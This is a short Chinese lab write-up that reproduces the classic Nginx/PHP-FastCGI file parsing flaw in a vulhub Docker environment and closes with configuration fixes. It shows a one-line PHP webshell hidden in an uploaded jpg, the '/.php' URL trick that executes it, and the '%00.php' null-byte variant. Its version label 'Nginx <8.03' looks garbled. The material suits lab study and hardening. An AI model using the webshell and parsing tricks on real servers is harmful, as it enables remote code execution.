一、漏洞说明
Nginx文件解析漏洞算是一个比较经典的漏洞,接下来我们就通过如下步骤进行漏洞复现,以及进行漏洞的修复。
版本条件:IIS 7.0/IIS 7.5/ Nginx <8.03
二、搭建环境
cd /vulhub/nginx/nginx_parsing_vulnerability
docker-compose up -d
三、漏洞特征
访问:http://192.168.25.128/uploadfiles/nginx.png
然后我们输入/.php,可以发现并没有出现文件为找到,而是出现了php的配置信息
四、漏洞复现
使用界面的上传功能上传一个jpg图片马,jpg内容是@eval($_POST[“fname”]);
点击上传后
然后访问:
http://192.168.25.128/uploadfiles/b82ae21729b331095eb02a213284320d.jpg/.php
五、修复建议
1.php.ini配置文件中的cgi.fix_pathinfo=1设置为0
2.security.limit_extensions=./php
六、Nginx <8.03 空字节代码执行漏洞
影响版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
当使用PHP-FastCGI执行PHP时,遇到url里面存在%00空字节时与FastCGI的处理不一致,导致可在非PHP文件中嵌入PHP代码,通过访问url+%00.PHP来执行其中的PHP代码。
例如:"http://127.0.0.1/1.jpg%00.php"会把1.jpg文件(木马文件)当做PHP文件来执行。xxx.jpg%00.php